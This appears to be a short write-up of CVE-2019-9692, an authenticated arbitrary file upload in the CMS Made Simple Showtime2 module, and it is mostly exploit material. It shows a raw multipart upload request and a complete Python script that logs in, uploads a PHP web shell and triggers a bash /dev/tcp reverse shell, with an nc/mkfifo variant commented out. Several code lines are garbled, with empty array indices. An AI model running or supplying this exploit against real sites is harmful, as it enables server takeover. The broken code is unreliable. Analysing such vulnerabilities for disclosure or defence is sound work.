CMSMS模块Showtime2任意文件上传漏洞CVE-2019-9692分析 附利用POC

www.cmsmadesimple.org

http://dev.cmsmadesimple.org/project/list/module?letter=S

kali+apache2+php+mysql

http://192.168.1.12/admin/moduleinterface.php?mact=CMSContentManager,m1_,defaultadmin,0&__c=14316a92c008da3b7a2

if (isset($_REQUEST['mact'])) {
    $ary = explode(',', cms_htmlentities($_REQUEST['mact']), );
    $module = (isset($ary[])?$ary[]:'');
    $id = (isset($ary[])?$ary[]:'m1_');
    $action = (isset($ary[])?$ary[]:'');
}

http://192.168.1.12/admin/moduleinterface.php?mact=Showtime2,m1_,defaultadmin,0&__c=14316a92c008da3b7a2

POST /admin/moduleinterface.php HTTP/1.1
Host: 192.168.1.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.12/
Content-Type: multipart/form-data; boundary=---------------------------816741718262582802150258629
Content-Length: 627
Connection: keep-alive
Cookie: BL_D_PROV=undefined; BL_T_PROV=undefined; PHPSESSID=g8j4psp7tam5fqkssmhsaaf0a8; BL_D_PROV=undefined; BL_T_PROV=undefined; CMSICe0feb99ba7=g6mpp05ialg5cbqm5m1unv88le; CMSSESSIDa0ef49a94e6c=c3adouenmma3ee6f46mfq5cb08; 9d8b62c00d951bb6bdb0b850f80ede0583dbc4a9=4de767e390fef630377b054406b9678ed4935901%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiZmFuZ3poYW5nIiwiZWZmX3VpZCI6bnVsbCwiZWZmX3VzZXJuYW1lIjpudWxsLCJoYXNoIjoiJDJ5JDEwJEdqRkxXbmFka1VnZm9cL05NWVJTZFwvZXJPeEtvbTBDOHF1WVJ4ZjhsS1pmU3R5ZlgyTHZ3NE8ifQ%3D%3D; __c=9afadb91297be820694
Upgrade-Insecure-Requests: 1

-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="mact"

Showtime2,m1_,defaultadmin,0
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="__c"

9afadb91297be820694
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_input_browse"; filename="2011.php"
Content-Type: text/php

<?php  phpinfo();?>
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_upload_submit"

Upload
-----------------------------816741718262582802150258629--

import requests
import optparse
from requests_toolbelt.multipart.encoder import MultipartEncoder

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://192.168.1.10/cms)")
parser.add_option('-U', '--username', action="store", dest="username", help="Username for login", default="admin")
parser.add_option('-P', '--password', action="store", dest="password", help="Password for login", default="password")
parser.add_option('-l', '--local', action="store", dest="local", help="Local uri for reverse shell", default="localhost")
parser.add_option('-p', '--port', action="store", dest="port", help="Local port for reverse shell", default="2222")
options, args = parser.parse_args()

if not options.url:
    print "[-] Specify an uri target"
    exit()

if not options.username:
    print "[-] Specify an username for login in administrator panel"
    exit()

if not options.password:
    print "[-] Specify a password for login in administrator panel"
    exit()

base_uri = options.url
url_login = base_uri + "/admin/login.php"
user = options.username
password = options.password
session = requests.Session()
__c_var = ""
lhost = options.local
lport = options.port

# Login in administrator panel for get the csrf token
def login(username, password):
    print "[*] Login to cms"
    global __c_var
    credentials = {"username": username, "password": password, "loginsubmit": "Submit"}
    response = session.post(url_login, data=credentials, allow_redirects=False)
    __c_var = response.headers['Location'].split("__c=")[]
    print "[*] Token value: " + __c_var

# upload a php script with reverse shell in vulnerable functionality
def upload_shell():
    print "[*] Uploading webshell"
    multipart_data = MultipartEncoder(
        fields = {
            'm1_input_browse': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'text/plain'),
            '__c': __c_var,
            'mact': 'Showtime2,m1_,defaultadmin,0',
            'm1_upload_submit': 'Upload'
        }
    )
    response = session.post(base_uri + '/admin/moduleinterface.php', data=multipart_data,
                      headers={'Content-Type': multipart_data.content_type})

# Call the script uploaded for spawn a reverse shell
def spawn_shell():
    print "[*] Spawn a shell to " + lhost + ":" + str(lport)
    # payload = {"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + lhost + " " + str(lport) + " >/tmp/f"}
    payload = {"cmd":"bash -i >& /dev/tcp/192.168.1.2/8888 0>&1"}
    requests.post(base_uri + "/uploads/images/shell.php", data=payload)

login(user, password)
upload_shell()
spawn_shell()